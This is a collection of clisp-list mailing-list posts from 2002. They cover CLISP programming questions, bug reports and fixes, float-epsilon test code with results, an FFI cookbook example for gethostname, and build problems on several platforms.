allocated to it by the kernel -- extend that, and you'll get more
stack space -- while CMUCL uses its own calling stack.  More
importantly, though, why are you blowing the stack?  Are you writing
recursive code where iterative code would do just as well?  If so,
well, you're asking for it, literally.  If your application just has a
really deep stack, use a larger one; if it's going to need potentially
unbounded stack space, change your code.

 > I'm just learing about activiation records vs. heap, and so I was
 > just curious why clisp doesn't use the heap before the stack blows?
 > (maybe it's just really hard to check for...)

I'm guessing because cost/benefit is near infinity.  CLISP uses the C
stack.  Having it heuristically switch to heap-allocating stack frames
would involve horrible pain, and to what end?  If you can't allocate a
sufficiently large normal stack, odds are the app is going to use up
all the heap in the end, if you move its stack there.

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Hi.

I have a lisp application in several files.  
When I compile the lisp files, I get several warning messages. 

How can I silence the warning message?  
(I don't want to combine the several files into one.)  

WARNING in function FIND_LARGEST_NUMBER in lines 58..124 :
ARRAYSIZE is neither declared nor bound,
it will be treated as if it were declared SPECIAL.


Thank you 

Randy




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>>>>> "Randy" == DYN  <Justice> writes:

    Randy> How can I silence the warning message?  

Why would you want to do that?  Do you also turn off the smoke
detector in your home?

    Randy> WARNING in function FIND_LARGEST_NUMBER in lines 58..124 :
    Randy> ARRAYSIZE is neither declared nor bound,
    Randy> it will be treated as if it were declared SPECIAL.

Is arraysize supposed to a special variable?  If so, perhaps the order
in which you compile the files should be changed?  Or actually declare
arraysize as special?

Ray


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Thanks for your input. 

Ok,  I missing some concept.  
I don't know what a "special" variable is.  I'm trying to
use the "ARRAYSIZE" variable as a global constant.  

Randy

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>>>>> "Randy" == DYN  <Justice> writes:

    Randy> How can I silence the warning message?  

Why would you want to do that?  Do you also turn off the smoke
detector in your home?

    Randy> WARNING in function FIND_LARGEST_NUMBER in lines 58..124 :
    Randy> ARRAYSIZE is neither declared nor bound,
    Randy> it will be treated as if it were declared SPECIAL.

Is arraysize supposed to a special variable?  If so, perhaps the order
in which you compile the files should be changed?  Or actually declare
arraysize as special?

Ray


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I compiled clist from the sources as per instructions in unix/INSTALL 
and unix/PLATFORMS, i.e., I used bash and ulimit and ignored the errors 
relating to FFI.

The result is <http://www.cs.rit.edu/~ats/etc/clisp-2.27-Power 
Macintosh-powerpc-Darwin-5.2.tar.gz> (note tha blank!).

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>>>>> "Randy" == DYN  <Justice> writes:

    Randy> Thanks for your input. 

    Randy> Ok,  I missing some concept.  
    Randy> I don't know what a "special" variable is.  I'm trying to

It means it has dynamic binding.  Look in a Lisp book or ask in
comp.lang.lisp.

    Randy> use the "ARRAYSIZE" variable as a global constant.  

In that case, you can say one of the following:

(defvar arraysize <value>)
(defparameter arraysize <value>)
(defconstant arraysize <value>)

Read in a Lisp book or CLHS what the difference is.  Since you say
it's a global constant, then defconstant is probably what you want.
And this should probably happen exactly once, and definitely before
you compile the file that gives the warning.

Ray





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On Friday, February 8, 2002, at 11:14 AM, Raymond Toy wrote:

>>>>>> "Randy" == DYN  <Justice> writes:
>
>     Randy> Thanks for your input.
>
>     Randy> Ok,  I missing some concept.
>     Randy> I don't know what a "special" variable is.  I'm trying to
>
> It means it has dynamic binding.  Look in a Lisp book or ask in
> comp.lang.lisp.

This is somewhat off-topic, but speaking of books on Lisp, Paul Graham, 
author of "ANSI Common Lisp", just recently released an on-line copy of 
his earlier work "On Lisp" which has been out of print for a long while. 
This is a great reference on Lisp (especially macros) and is available 
from: <http://www.paulgraham.com/onlisptext.html>

Enjoy.

-ram



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Thank You


-----Original Message-----
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On Friday, February 8, 2002, at 11:14 AM, Raymond Toy wrote:

>>>>>> "Randy" == DYN  <Justice> writes:
>
>     Randy> Thanks for your input.
>
>     Randy> Ok,  I missing some concept.
>     Randy> I don't know what a "special" variable is.  I'm trying to
>
> It means it has dynamic binding.  Look in a Lisp book or ask in
> comp.lang.lisp.

This is somewhat off-topic, but speaking of books on Lisp, Paul Graham, 
author of "ANSI Common Lisp", just recently released an on-line copy of 
his earlier work "On Lisp" which has been out of print for a long while. 
This is a great reference on Lisp (especially macros) and is available 
from: <http://www.paulgraham.com/onlisptext.html>

Enjoy.

-ram


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Randy,

Another on-line reference "Basic Lisp Techniques" is a good introductory 
text, albeit a little Allegro CL centric.

<http://www.franz.com/resources/educational_resources/cooper.book.pdf>

It specifically talks about lexical and dynamic scope which should answer 
some of your questions.

Paul Graham's other book "ANSI Common Lisp" is a very good book as well - 
it's more of an introductory text than "On Lisp."

Regards,

-ram

On Friday, February 8, 2002, at 11:34 AM, Justice, Randy -CONT(DYN) wrote:

> Thank You
>
>
> -----Original Message-----
> From: Ram Krishnan [mailto:rkris@mac.com]
> Sent: Friday, February 08, 2002 1:26 PM
> To: Raymond Toy
> Cc: Justice, Randy -CONT(DYN); clisp-list@lists.sourceforge.net
> Subject: Re: [clisp-list] warning messages
>
>
> On Friday, February 8, 2002, at 11:14 AM, Raymond Toy wrote:
>
>>>>>>> "Randy" == DYN  <Justice> writes:
>>
>>     Randy> Thanks for your input.
>>
>>     Randy> Ok,  I missing some concept.
>>     Randy> I don't know what a "special" variable is.  I'm trying to
>>
>> It means it has dynamic binding.  Look in a Lisp book or ask in
>> comp.lang.lisp.
>
> This is somewhat off-topic, but speaking of books on Lisp, Paul Graham,
> author of "ANSI Common Lisp", just recently released an on-line copy of
> his earlier work "On Lisp" which has been out of print for a long while.
> This is a great reference on Lisp (especially macros) and is available
> from: <http://www.paulgraham.com/onlisptext.html>
>
> Enjoy.
>
> -ram



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I compiled clist from the sources as per instructions in unix/INSTALL.

The result is 
<http://www.cs.rit.edu/~ats/etc/clisp-2.27-sun4u-sparc-SunOS-5.8.tar.gz>.


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On m=E5ndag, februari 4, 2002, at 01:55 , Sam Steingold wrote:

>> * In message <C5C27FC6-18ED-11D6-934C-0030656FF2A0@mac.com>
>> * On the subject of "Re: [clisp-list] CLISP and ILISP"
>> * Sent on Sun, 3 Feb 2002 22:34:15 +0100
>> * Honorable Lennart Staflin <lenst@mac.com> writes:
>>
>>>> [2]> (finish-output t)
>>>> *** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket
>>
>> On s=F6ndag, februari 3, 2002, at 05:27 , Sam Steingold wrote:
>>> what is the value of *terminal-io*?
>> #<IO TERMINAL-STREAM>
>
> please report all the details.
> 1. OS name and version

Darwin localhost 5.2 Darwin Kernel Version 5.2: Fri Dec  7 21:39:35 PST=20=

2001; root:xnu/xnu-201.14.obj~1/RELEASE_PPC  Power Macintosh powerpc

> 2. CLISP version

GNU CLISP 2.27.2 (released 2001-10-05) (built 3221719001) (memory=20
3222242925)

 =46rom the binary release on cons.org.

> 3. ILISP version
> 4. Emacs version

Let's forget about ILISP and Emacs, here is a short test case:

  clisp -norc -q -x "(finish-output t)" | cat

*** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket

//Lennart



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I just integrated a bunch of fixes from Dave McDonald to make the
build process get substantially further than before. It's still not
working, but most of the solved problems so far, and the current
unsolved problem, are due to unportable code in SBCL. Generally CLISP
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Thank you for the fixes in CLISP (especially MAKE-LOAD-FORM) and
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Hi fellow clisp-ers,

I have written the following functions
which determine the various floating-point-epsilons.

I get discrepancies for the double-float-*-epsilon values
on my machine. I don't think, that my FP-Coprocessor is
wrong. Maybe there is just a wrong definition shipped
with clisp. If you  want to read, what this all is about,
have a look at: 

<http://www.xanalys.com/software_tools/reference/
HyperSpec/Body/convar_short-_tive-epsilon.html>

Simply load the functions given below and enter
into the repl:

(test-epsilons)

Could you give them a try and report your results for your
local installation to clisp-devel?

That would be very kind! Thanks!

Bye,
Stefan

===============================================================
(defun test-pos-epsilon (<EPSILON>)
  (= (float 1 <EPSILON>) (+ (float 1 <EPSILON>) <EPSILON>)))

(defun test-neg-epsilon (<EPSILON>)
  (= (float 1 <EPSILON>) (- (float 1 <EPSILON>) <EPSILON>)))

(defun binary-search (lower_bound upper_bound old_string precision test-fun)
  (let* ((new_bound (/ (+ (float lower_bound precision)
                          (float upper_bound precision)) 2))
         (new_string (format nil "~E" (float new_bound precision))))
    (if (string= old_string new_string)
      ;; then
      ;; (format t "~A ~A~%" old_string new_string)
      (float upper_bound precision)
      ;; else
      (progn 
        ;;  (format t "~A ~A~%" (float lower_bound precision)
        ;;          (float upper_bound precision))
        (if (funcall test-fun new_bound)
          ;; then
          (binary-search new_bound upper_bound new_string
                         precision test-fun)
          ;; else
          (binary-search lower_bound new_bound new_string
                         precision test-fun))))))


;;;; test:      
(defun test-epsilons ()
  (let ((fmt "~30E~30E~30E~%"))
    (progn
      (format t "~30<~A~>~30<~A~>~30<~A~>~%"
              "system value"
              "computed value"
              "difference")

      ;; short-float-epsilon:
      (format t "short-float-epsilon:~%")
      (format t fmt
              short-float-epsilon
              (binary-search 0.0 1.0 "0.0" 1.0s0 #'test-pos-epsilon)
              (- (binary-search 0.0 1.0 "0.0" 1.0s0 #'test-pos-epsilon)
                 short-float-epsilon))

      ;; short-float-negative-epsilon:
      (format t "short-float-negative-epsilon:~%")
      (format t fmt 
              short-float-negative-epsilon
              (binary-search 0.0 1.0 "0.0" 1.0s0 #'test-neg-epsilon)
              (- (binary-search 0.0 1.0 "0.0" 1.0s0 #'test-neg-epsilon)
                 short-float-negative-epsilon))

      ;; single-float-epsilon:
      (format t "single-float-epsilon:~%")
      (format t fmt 
              single-float-epsilon
              (binary-search 0.0 1.0 "0.0" 1.0 #'test-pos-epsilon)
              (- (binary-search 0.0 1.0 "0.0" 1.0 #'test-pos-epsilon)
                 single-float-epsilon))

      ;; single-float-negative-epsilon:
      (format t "single-float-negative-epsilon:~%")
      (format t fmt 
              single-float-negative-epsilon
              (binary-search 0.0 1.0 "0.0" 1.0 #'test-neg-epsilon)
              (- (binary-search 0.0 1.0 "0.0" 1.0 #'test-neg-epsilon)
                 single-float-negative-epsilon))

      ;; double-float-epsilon:
      (format t "double-float-epsilon:~%")
      (format t fmt
              double-float-epsilon
              (binary-search 0.0 1.0 "0.0" 1.0d0 #'test-pos-epsilon)
              (- (binary-search 0.0 1.0 "0.0" 1.0d0 #'test-pos-epsilon)
                 double-float-epsilon))

      ;; double-float-negative-epsilon:
      (format t "double-float-negative-epsilon:~%")
      (format t fmt
              double-float-negative-epsilon
              (binary-search 0.0 1.0 "0.0" 1.0d0 #'test-neg-epsilon)
              (- (binary-search 0.0 1.0 "0.0" 1.0d0 #'test-neg-epsilon)
                 double-float-negative-epsilon))

      ;; long-float-epsilon:
      (format t "long-float-epsilon:~%")
      (format t fmt 
              long-float-epsilon
              (binary-search 0.0 1.0 "0.0" 1.0l0 #'test-pos-epsilon)
              (- (binary-search 0.0 1.0 "0.0" 1.0l0 #'test-pos-epsilon)
                 long-float-epsilon))

      ;;long-float-negative-epsilon:
      (format t "long-float-negative-epsilon:~%")
      (format t fmt
              long-float-negative-epsilon
              (binary-search 0.0 1.0 "0.0" 1.0l0 #'test-neg-epsilon)
              (- (binary-search 0.0 1.0 "0.0" 1.0l0 #'test-neg-epsilon)
                 long-float-negative-epsilon)))))


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Sorry,

the last URL was wrong.

The right one:
<http://www.xanalys.com/software_tools/reference/HyperSpec/Body/v_short_.htm>


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I don't understand this error (in clisp checked out of CVS this
morning):

$ clisp -q
[1]> (compile nil
              '(LAMBDA (LIST)
                 (FLET
                   ((ENABLE (X) (PUSHNEW X LIST))
                    (DISABLE (X) (SETF LIST (REMOVE X LIST))))
                   (ENABLE :SB-AFTER-XC-CORE) LIST)))

** - Continuable Error
INTERN("NIL-ENABLE"): #<PACKAGE COMMON-LISP> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1. Break [2]> 

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Hi fellow clisp-ers,

I have written the following functions
which determine the various floating-point-epsilons.

I get discrepancies for the double-float-*-epsilon values
on my machine. I don't think, that my FP-Coprocessor is
wrong. Maybe there is just a wrong definition shipped
with clisp. If you  want to read, what this all is about,
have a look at: 

http://www.xanalys.com/software_tools/reference/HyperSpec/Body/v_short_.htm

Simply load the functions given below and enter
into the repl:

(test-epsilons)

Could you give them a try and report your results for your
local installation to clisp-list?

That would be very kind! Thanks!

Bye,
Stefan

===============================================================
(defun test-pos-epsilon (<EPSILON>)
  (= (float 1 <EPSILON>) (+ (float 1 <EPSILON>) <EPSILON>)))

(defun test-neg-epsilon (<EPSILON>)
  (= (float 1 <EPSILON>) (- (float 1 <EPSILON>) <EPSILON>)))

(defun binary-search (lower_bound upper_bound old_value precision test-fun)
  (let* ((new_bound (/ (+ (float lower_bound precision)
                          (float upper_bound precision)) 2))
         (new_value (float new_bound precision)))
    (if (= old_value new_value)
      ;; then
      ;; (format t "~A ~A~%" old_string new_string)
      (float upper_bound precision)
      ;; else
      (progn 
        ;;  (format t "~A ~A~%" (float lower_bound precision)
        ;;          (float upper_bound precision))
        (if (funcall test-fun new_bound)
          ;; then
          (binary-search new_bound upper_bound new_value
                         precision test-fun)
          ;; else
          (binary-search lower_bound new_bound new_value
                         precision test-fun))))))


;;;; test:      
(defun test-epsilons ()
  (let ((fmt "~30E~30E~30E~%"))
    (format t "~30<~A~>~30<~A~>~30<~A~>~%"
            "system value"
            "computed value"
            "difference")

    ;; short-float-epsilon:
    (format t "short-float-epsilon:~%")
    (format t fmt
            short-float-epsilon
            (binary-search 0.0 1.0 0.0 1.0s0 #'test-pos-epsilon)
            (- (binary-search 0.0 1.0 0.0 1.0s0 #'test-pos-epsilon)
               short-float-epsilon))

    ;; short-float-negative-epsilon:
    (format t "short-float-negative-epsilon:~%")
    (format t fmt 
            short-float-negative-epsilon
            (binary-search 0.0 1.0 0.0 1.0s0 #'test-neg-epsilon)
            (- (binary-search 0.0 1.0 0.0 1.0s0 #'test-neg-epsilon)
               short-float-negative-epsilon))

    ;; single-float-epsilon:
    (format t "single-float-epsilon:~%")
    (format t fmt 
            single-float-epsilon
            (binary-search 0.0 1.0 0.0 1.0 #'test-pos-epsilon)
            (- (binary-search 0.0 1.0 0.0 1.0 #'test-pos-epsilon)
               single-float-epsilon))

    ;; single-float-negative-epsilon:
    (format t "single-float-negative-epsilon:~%")
    (format t fmt 
            single-float-negative-epsilon
            (binary-search 0.0 1.0 0.0 1.0 #'test-neg-epsilon)
            (- (binary-search 0.0 1.0 0.0 1.0 #'test-neg-epsilon)
               single-float-negative-epsilon))

    ;; double-float-epsilon:
    (format t "double-float-epsilon:~%")
    (format t fmt
            double-float-epsilon
            (binary-search 0.0 1.0 0.0 1.0d0 #'test-pos-epsilon)
            (- (binary-search 0.0 1.0 0.0 1.0d0 #'test-pos-epsilon)
               double-float-epsilon))

    ;; double-float-negative-epsilon:
    (format t "double-float-negative-epsilon:~%")
    (format t fmt
            double-float-negative-epsilon
            (binary-search 0.0 1.0 0.0 1.0d0 #'test-neg-epsilon)
            (- (binary-search 0.0 1.0 0.0 1.0d0 #'test-neg-epsilon)
               double-float-negative-epsilon))

    ;; long-float-epsilon:
    (format t "long-float-epsilon:~%")
    (format t fmt 
            long-float-epsilon
            (binary-search 0.0 1.0 0.0 1.0l0 #'test-pos-epsilon)
            (- (binary-search 0.0 1.0 0.0 1.0l0 #'test-pos-epsilon)
               long-float-epsilon))

    ;;long-float-negative-epsilon:
    (format t "long-float-negative-epsilon:~%")
    (format t fmt
            long-float-negative-epsilon
            (binary-search 0.0 1.0 0.0 1.0l0 #'test-neg-epsilon)
            (- (binary-search 0.0 1.0 0.0 1.0l0 #'test-neg-epsilon)
               long-float-negative-epsilon))))


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Hello, Stefan,

Monday, February 11, 2002, 12:14:42 AM, you wrote:

Stefan> Could you give them a try and report your results for your
Stefan> local installation to clisp-list?

A week old Clisp from CVS on NT4.0:

                  system value                computed value                    difference
short-float-epsilon:
                     7.6295s-6                     7.6295s-6                        0.0s+0
short-float-negative-epsilon:
                    3.81477s-6                    3.81477s-6                        0.0s+0
single-float-epsilon:
                   5.960465E-8                   5.960465E-8                        0.0E+0
single-float-negative-epsilon:
                  2.9802325E-8                  2.9802325E-8                        0.0E+0
double-float-epsilon:
        1.1102230246251567d-16        1.1102230246251567d-16                        0.0d+0
double-float-negative-epsilon:
         5.551115123125784d-17         5.551115123125784d-17                        0.0d+0
long-float-epsilon:
     5.4210108624275221706L-20     5.4210108624275221706L-20                        0.0L+0
long-float-negative-epsilon:
     2.7105054312137610853L-20     2.7105054312137610853L-20                        0.0L+0


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>>>>> "Stefan" == Stefan Kain <smk@users.sourceforge.net> writes:

    Stefan> Could you give them a try and report your results for your
    Stefan> local installation to clisp-devel?

Clisp on an Ultrasparc II running Solaris 2.7:
"2.27.2 (released 2001-10-05) (built 3216661407) (memory 3216748156)"

As expected:

(test-epsilons)
                  system value                computed value                    difference
short-float-epsilon:
                     7.6295s-6                     7.6295s-6                        0.0s+0
short-float-negative-epsilon:
                    3.81477s-6                    3.81477s-6                        0.0s+0
single-float-epsilon:
                   5.960465E-8                   5.960465E-8                        0.0E+0
single-float-negative-epsilon:
                  2.9802325E-8                  2.9802325E-8                        0.0E+0
double-float-epsilon:
        1.1102230246251567d-16        1.1102230246251567d-16                        0.0d+0
double-float-negative-epsilon:
         5.551115123125784d-17         5.551115123125784d-17                        0.0d+0
long-float-epsilon:
     5.4210108624275221706L-20     5.4210108624275221706L-20                        0.0L+0
long-float-negative-epsilon:
     2.7105054312137610853L-20     2.7105054312137610853L-20                        0.0L+0

I still think the epsilon problem only happens on x86 and that's
because of the 80-bit precision that it has.

Ray


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> * In message <20020209210239.GC27813@balefire.localdomain>
> * On the subject of "[clisp-list] package locking confusion"
> * Sent on Sat, 9 Feb 2002 15:02:40 -0600
> * Honorable William Harold Newman <william.newman@airmail.net> writes:
>
> I don't understand this error (in clisp checked out of CVS this
> morning):
> 
> $ clisp -q
> [1]> (compile nil
>               '(LAMBDA (LIST)
>                  (FLET
>                    ((ENABLE (X) (PUSHNEW X LIST))
>                     (DISABLE (X) (SETF LIST (REMOVE X LIST))))
>                    (ENABLE :SB-AFTER-XC-CORE) LIST)))
> 
> ** - Continuable Error
> INTERN("NIL-ENABLE"): #<PACKAGE COMMON-LISP> is locked
> If you continue (by typing 'continue'): Ignore the lock and proceed
> 1. Break [2]> 

thanks for bug report - I just fixed it in the CVS.


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> * In message <20020205201229.A149@localhost.localdomain>
> * On the subject of "Re: [clisp-list] read-line strips trailing spaces"
> * Sent on Tue, 5 Feb 2002 20:12:29 +0100
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
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> On Tue, Feb 05, 2002 at 01:47:37PM -0500, Sam Steingold wrote:
> > > GNU CLISP 2.27 (released 2001-07-17) (built 3205317348) (memory 3205318651)
> > > On GNU/Linux
> > > 
> > > read-line strips off spaces, so "foo " becomes "foo".

it did do this only on terminal streams under readline.
I just fixed this in the CVS.
thanks for reporting the bug.

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> * In message <3C668052.DFCEB7B4@users.sourceforge.net>
> * On the subject of "[clisp-list] *-float-*-epsilon in clisp"
> * Sent on Sun, 10 Feb 2002 15:14:42 +0100
> * Honorable Stefan Kain <smk@users.sourceforge.net> writes:
>
> I get discrepancies for the double-float-*-epsilon values
> on my machine.

this is specific to linux on i386 (the fpu uses 80 bit floats).

apply the appended patch and rebuild _both_ lisp.run and lispinit.mem

please report your experiences

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--- lisparit.d.~1.30.~	Mon Nov 19 18:49:08 2001
+++ lisparit.d	Mon Feb 11 15:07:07 2002
@@ -2253,6 +2253,8 @@
         var object obj;
         #ifdef intQsize
         encode_DF(0,-DF_mant_len,bit(DF_mant_len)+1, obj=);
+        #elif (defined(unix) && defined(linux) && defined(i386))
+        encode2_DF(0,-DF_mant_len,bit(DF_mant_len-32)|bit(DF_mant_len-32-DF_exp_len),1, obj=);
         #else
         encode2_DF(0,-DF_mant_len,bit(DF_mant_len-32),1, obj=);
         #endif
@@ -2262,6 +2264,8 @@
         var object obj;
         #ifdef intQsize
         encode_DF(0,-DF_mant_len-1,bit(DF_mant_len)+1, obj=);
+        #elif (defined(unix) && defined(linux) && defined(i386))
+        encode2_DF(0,-DF_mant_len-1,bit(DF_mant_len-32)|bit(DF_mant_len-32-DF_exp_len),1, obj=);
         #else
         encode2_DF(0,-DF_mant_len-1,bit(DF_mant_len-32),1, obj=);
         #endif



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myriam wrote:
  > > commented out in CLISP/modules/bindings/linuxlibc6/linux.lisp:
  > > (def-c-call-out gethostname (:arguments (name c-pointer) (len size_t)=
) ; ??
  > >                             (:return-type int))
  > > (def-c-call-out sethostname (:arguments (name (c-pointer) (len sizet)=
) ; ??
  > >                             (:return-type int))

Spoiler ahead! The FFI cookbook, chapter N (not 1)


Reini Urban responds:
>(ffi:def-c-call-out gethostname (:arguments (name c-string) (len size_t))(=
:return-type int))
>(ffi:def-c-var c-hostname (:type c-string) (:alloc :malloc-free))
>(if (zerop (linux:gethostname c-hostname 15)    ; 0 on success
>    (defvar hostname (ffi:deref c-hostname)))   ; deref converts c-string =
to lisp type
[unbalanced parentheses?]
>and link the glibc to clisp. don't know if the dynamic-ffi works here.

CLISP's FFI can do much more for you. There is no external c-hostname
variable. You only need a small wrapper written in Lisp and normally
nothing in C. This text attempts to explain the story. Sadly, my code
is untested, since I didn't install CLISP on a UNIX machine. However,
the concepts are there, hopefully understandable.

C declarations are completely insufficient to know how the arguments
are actually to be used. I recommend reading "H/Direct: A Binary
Foreign Language Interface for Haskell" to appreciate the needed
expressiveness of any FFI, including CLISP's -- that's why there is
c-ptr, c-pointer, c-ptr-null, c-array-ptr, c-array, c-array-max etc.

See section Foreign-language integration of
http://research.microsoft.com/Users/simonpj/Papers/papers.html
H/Direct: A Binary Foreign Language Interface for Haskell


Topics covered below: allocation, some array types, character encodings

In the present example, you can use allocation :alloca, like you'd do
in C: stack-allocate a temporary. Why make things worse when using
Lisp than when using C?

gethostname(name,len) follows a typical pattern of C "out"-parameter
convention. It expects a pointer to a buffer it's going to fill. So
you must view this parameter as either :out or :in-out.

Additionaly, one must tell the function the size of the buffer. Here
<len> is just an :in parameter. Sometimes this will be an :in-out
parameter, returning the number of bytes actually filled in.

So <name> is actually a pointer to an array of up to <len> characters
(or bytes? -- see below), regardless of what the poor "char *" C
prototype says, to be used like a C string (0-termination).

How many elements are in the array? Luckily, in our case, you can find
it out without calculating the sizeof() a C structure. It's a hostname
that will be returned. The Solaris 2.x manpage says "Host names are
limited to MAXHOSTNAMELEN characters, currently 256."

This yields the following useful signature for your foreign function:

(ffi:def-c-call-out gethostname
  (:arguments (name (ffi:c-ptr (ffi:c-array-max ffi:char 256))
=09=09    :out :alloca)
=09      (len ffi:int))
  (:return-type ffi:int))

A (:return-type BOOLEAN) could have been used here (Solaris says it's
either 0 or -1).

(defun myhostname ()
  (multiple-value-bind (success name)
      ;; :out or :in-out parameters are returned via multiple values
      (gethostname 256)
    (if (zerop success)
=09(subseq name 0 (position #\0 name))
=09(error ... ; errno may be set
          ...))))
(defvar hostname (myhostname))

Possibly SUBSEQ and POSITION are superfluous, thanks to C-ARRAY-MAX as
opposed to C-ARRAY:
(defun myhostname ()
  (multiple-value-bind (success name)
      ;; :out or :in-out parameters are returned via multiple values
      (gethostname 256)
    (if (zerop success) name
=09(error ... ; errno may be set
          ...))))


Unicode and possible character encoding problems w/ #+UNICODE

I have no experience with character conversions in CLISP. Maybe the
first solution above is problematic because, depending on
ffi:*FOREIGN-ENCODING*, the resulting string is not a valid one in the
encoding (it's shorter, since it's zero/NUL-terminated and undefined
behind the \0).

OTOH the above ffi:C-ARRAY-MAX may already take care of this (contrary
to just ffi:c-array). The above call to POSITION maybe
superfluous. The source code in FOREIGN.D seems to indicate that
conversion is safe (not converting more than <len> bytes). I didn't
look if some call to SUBSEQ and POSITION is still needed because we
don't want the full array that CLISP may have allocated prior to the
call. Anyway, I don't like to look at source code for this, it should
be clear from the documentation.

So another approach would be to use 8-bit bytes instead (if your OS
uses an 8 bit char, and not UNICODE internally), together with
ext:CONVERT-STRING-FROM-BYTES, doing the conversion ourselves. We need
another prototype:

(ffi:def-c-call-out gethostname
  (:arguments (name (ffi:c-ptr (ffi:c-array ffi:uint8 256))
=09; no more c-array-max, we'll do ourselves
=09=09    :out :alloca)
=09      (len ffi:int))
  (:return-type ffi:int))

(defun myhostname ()
  (multiple-value-bind (success name)
      (gethostname 256)
    (if (zerop success)
=09(ext:convert-string-from-bytes
=09  name ffi:*foreign-encoding* :end (position 0 name))
=09(error ... ; errno may be set
          ...))))


Possible bugs in this explanation: :IN-OUT may be needed instead of
just :out (:out may be unusable), use of POSITION unclear, may need
257 instead of 256 element or call <len> with 255, ...

I hope this helps,
=09J=F6rg H=F6hle.


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Hi,

I wondering: the CLISP binary distribution for MS-Windos contains the =
FFI package and functions, but how can one make use of them?

I believe that, in its current state, one must build CLISP from sources =
to be able to make any use of the FFI (via modules), so what's the =
point of having it in the binary distribution?

Am I missing something?

What follows are snippets of clisp-list for further reference:
Sam Steingold in "Re: Making Foreign Function Calls on Win32" wrote on =
2002-01-18 11:32:

Mats Bergstr=F8m wrote in "FFI and win32" on 2001-08-24:
MB>I'm trying to use FFI on win32. [...]
MB>But this doesn't work on win32 since modules are Unix specific.
Sam>yes, this is very unfortunate.

>using libltdl (part of gnu libtool) should make it possible to port
>dynamic modules to win32.
>
>I don't use FFI myself, so I cannot really help you here.
>
>I suspect that linking lisp.exe with your *.obj files and using the
>resulting executable to compile and load the FFI forms you write =
should
>work.
Who actually can confirm or deny this? Is linking a fully-working =
lisp.exe executable to new object files possible with MS-Windos?

Regards,
	J=F6rg H=F6hle.


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Beautiful! It works!!

Tested on Solaris 8

> (defun myhostname ()
>   (multiple-value-bind (success name)
>       ;; :out or :in-out parameters are returned via multiple values

I didn't know that, thanks. 


                                    myriam


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	I was trying to install CLOCC, I downloaded the latest snapshot.
Made sure that I was running clisp 2.27, but I get the following errors:

$ export LISPTYPE="/usr/bin/clisp"
$ make clocc-top
/home/dagit/downloads/clocc/bin/run-lisp: Sorry, option -faslext not
supported for LISPTYPE=/usr/bin/clisp.
/home/dagit/downloads/clocc/bin/run-lisp: Sorry, option -dumpext not
supported for LISPTYPE=/usr/bin/clisp.
/home/dagit/downloads/clocc/bin/run-lisp  -c clocc.lisp
/home/dagit/downloads/clocc/bin/run-lisp: Sorry, LISPTYPE=/usr/bin/clisp
is not supported
make: *** [clocc.LISPTYPE_NOT_SET] Error 1
$ echo $LISPTYPE
/usr/bin/clisp
$ whereis clisp
clisp: /usr/bin/clisp /usr/lib/clisp /usr/share/man/man1/clisp.1.gz


I've also tried this with cmucl and I get the same error.  And it is
right, neither clisp, nor cmucl accept those command line switches.

Any ideas?

Thanks,
Jason
PS if this is the wrong list for this question, then I'm sorry.





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> * In message <DFD875E85664D3118FA6080006277DE704F04FED@U8PN2>
> * On the subject of "[clisp-list] Re: FFI question (FFI cookbook)"
> * Sent on Tue, 12 Feb 2002 12:15:32 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Spoiler ahead! The FFI cookbook, chapter N (not 1)

cool - give us more!  give us the rest of the cookbook!
based on your suggestions, I enabled gethostname() in linux.lisp and
added some wrappers (see CVS).  thanks!

maybe you could also tell us why errno does not work?

*** - FFI:DEREF is only allowed after FFI::FOREIGN-VALUE: (FFI:DEREF (LINUX:__errno_location))

LINUX:__errno_location appears to be a function returning the errno.

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> * In message <Pine.GSO.4.31.0202120908130.15556-100000@eel.ENGR.ORST.EDU>
> * On the subject of "[clisp-list] CLOCC install Q"
> * Sent on Tue, 12 Feb 2002 09:13:24 -0800 (PST)
> * Honorable Jason Dagit <dagit@engr.orst.edu> writes:
>
> $ export LISPTYPE="/usr/bin/clisp"

export LISPTYPE=clisp

note that the variable specifies _type_, not _path_

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On 12 Feb 2002, Sam Steingold wrote:

> maybe you could also tell us why errno does not work?
> 
> *** - FFI:DEREF is only allowed after FFI::FOREIGN-VALUE: (FFI:DEREF (LINUX:__errno_location))
> 
> LINUX:__errno_location appears to be a function returning the errno.

Indeed, this is one of the things I worked around in Meta-CVS. I used
(linux::__errno_location) to get to errno values.



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Thanks for your help.  For some reason I was under the impresion that
LISPTYPE needed to know where my lisp was at.

I got that step to work, but when I go into any of the directories and
type make system I just get errors.  I'll work on that more when I get
some time.

Thanks again,
Jason

On 12 Feb 2002, Sam Steingold wrote:

> > * In message <Pine.GSO.4.31.0202120908130.15556-100000@eel.ENGR.ORST.EDU>
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> >
> > $ export LISPTYPE="/usr/bin/clisp"
>
> export LISPTYPE=clisp
>
> note that the variable specifies _type_, not _path_
>
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OK, I figured it out.  I'll include a link to a web page I made about it
if your want to see more,

http://web.njit.edu/~rxt1077/clisp-maxima-zaurus.html

	-ryan

On Wed, 6 Feb 2002, ryan tolboom cis stnt wrote:

> Hello!
> 
> I am trying to compile clisp on an ARM processor, and am experiencing some
> difficulty.  I was wondering if anyone has been succesfull in doing this
> or if you would have some advice. 
> 
> I noticed an earlier post about clisp on an iPAQ running
> linux.  Unfortunately the former post seemed to end without saying
> whether or not he got it working.
> 
> My goal is to make a binary for the Zaurus SL-5000D, which also uses the
> StrongARM processor and runs linux.  I am currently compiling 
> on a compaq development machine that has a StrongARM processor and
> runs linux.
> 
> Here is some info that I hope will help:
> 
> The host system is detected as armv4l-unknown-linux-gnu.
> 
> Source code used:
> CVS as of Wed Feb  6 02:00:32 EST 2002
> 
> Commands Executed:
> [ from the clisp directory ]
> ./configure
> 
> [ it completes and gives me this output ]
> make: *** No rule to make target `avcall-armv4l.lo', needed by `avcall.lo'.  Stop.
> 
> To continue building CLISP, the following commands are recommended
> (cf. unix/INSTALL step 4):
>     cd src
>     ./makemake  --with-readline --with-gettext > Makefile
>     make config.lisp
>     vi config.lisp
>     make
>     make check
> 
> cd src
> ./makemake --with-readline --with-gettext > Makefile
> make config.lisp
> 
> [ after this I add -DSAFETY=3 to the CFLAGS in Makefile ]
> [ as was recommended on this list previously. I then run... ]
> make
> 
> [ it gives me the result ]
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
